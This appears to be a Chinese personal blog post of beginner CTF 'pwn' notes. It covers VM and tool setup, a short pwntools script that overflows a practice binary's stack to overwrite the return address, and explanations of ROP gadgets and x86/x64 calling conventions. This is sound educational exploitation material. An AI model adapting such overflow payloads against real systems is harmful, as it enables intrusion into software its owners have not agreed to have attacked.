PWN早期非学术性内容

本文最后更新于:2023年3月10日 晚上

环境

大部分师傅的建议都是Ubuntu16.04,不过总会自动更新导致内核不匹配可能就坏掉了。

可以搞Ubuntu18,再用patchelf去更改libc库的版本(暂时只知道栈溢出类题型用得到),一定记得这个时候也要把自动更新关掉

当然,多多益善,最好是18 20 22都有(仅16的题说实在的真的还没见)。

可能出现的问题

不能粘贴剪切板:解决ubuntu虚拟机vmware tools无法共享剪贴板问题_Tyfrank的博客-CSDN博客_虚拟机剪贴板

Ubuntu18.04换源: Ubuntu18.04——换源_William.csj的博客-CSDN博客_ubuntu18.04换源

虚拟机文件拖拽:Vmware虚拟机和主机之间复制、粘贴内容、拖拽文件的详细方法_豆豆技术派的博客-CSDN博客_虚拟机和主机复制粘贴

patchelf:https://blog.csdn.net/juluwangriyue/article/details/108617283

以下一段对应Python2.7升级pip方法

remove:

sudo apt-get remove python-pip

install:

python -m pip install –user –upgrade pip==20.2.4

pip强升21:【python初级】 Ubuntu18.04上升级pip_jn10010537的博客-CSDN博客_ubuntu升级pip

记得的多多sudo ./setup.sh,一遍可能出问题,毕竟服务器都在国外,换源国内也可能偶尔连不上。

pwndbg

大多是根据师傅的教程直接跟着走就好了。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# io = remote('172.16.177.134', 9999) 对于Docker上的内容

io=process('./StackOverflow') # 对于文件

payload = b'A'*0x48+ b'a'*0x4 + p32(0x0804850E) # payload!(废字符补栈,补rbp,,再补retn的地址)
# x86用p32(),x64用p64(),还有p16,p8
io.sendline(payload) # 输入!

io.interactive() # 交互!
# io.close() 没太大用捏,要shell的话不得多玩一会(不是)

My_First_Stack_Overflow.png(一脸喜悦)

在命名py文件的时候,注意不要将其命名为pwn.py,pwn已被pwntools占用,使用会报错(会判断为包体正在引用自己)。

接下来我们遇见的类型题,是ROP。

什么是ROP

ROP是Return Oriented Programming的缩写,翻译过来就是面向返回的编程。

其核心在于利用了指令集中的ret指令,改变了指令流的执行顺序。ROP攻击一般需要满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的gadgets以及相应的gadgets地址。

gadgets一般满足

xxx

xxx

ret

1
2
3
4
5
pop ebx
pop esi
pop edi
pop ebp
ret

即一堆指令后跟着ret。

参数入栈顺序

32位

read(0, buf, 0x100);

其对应汇编为

1
2
3
4
5
.text:xxxxxxxx			push 100h			;nbytes
.text:xxxxxxxx lea eax,[ebp+buf]
.text:xxxxxxxx push eax ;buf
.text:xxxxxxxx push 0 ;fd
.text:xxxxxxxx call _read

参数从右到左入栈,先push 0x100(read的第三个参数0x100),再push buf(read的第二个参数),最后push 0(read的第一个参数0)。

所以如:

func(0,1,2,3,4,5,6);

其对应汇编就应该是

1
2
3
4
5
6
7
8
push 6
push 5
push 4
push 3
push 2
push 1
push 0
call func

不过64位的程序就开始有区别了。

64位

read(0, buf, 0x100);

其对应汇编这次为

1
2
3
4
5
.text:xxxxxxxx			lea rax,[rbp+buf]
.text:xxxxxxxx mov edx,100h ;nbytes
.text:xxxxxxxx mov rsi,rax ;buf
.text:xxxxxxxx mov edi,0 ;fd
.text:xxxxxxxx call read

所以如:

func(0,1,2,3,4,5,6);

其对应汇编就变成了

1
2
3
4
5
6
7
8
push    6
mov r9d, 5
mov r8d, 4
mov ecx, 3
mov edx, 2
mov esi, 1
mov edi, 0
call my_fun

函数的前六个参数都会放到对应的寄存器中,从左到右依次是:

rdi, rsi, rdx, rcx, r8d, r9d

再有更多参数时,就会通过栈来传递。

更多内容详见某些小知识记录(持续更新) - OSLike’s Blog

#—已完结—#


PWN早期非学术性内容
http://example.com/2022/11/04/PWN早期非学术性内容/
作者
OSLike
发布于
2022年11月4日
许可协议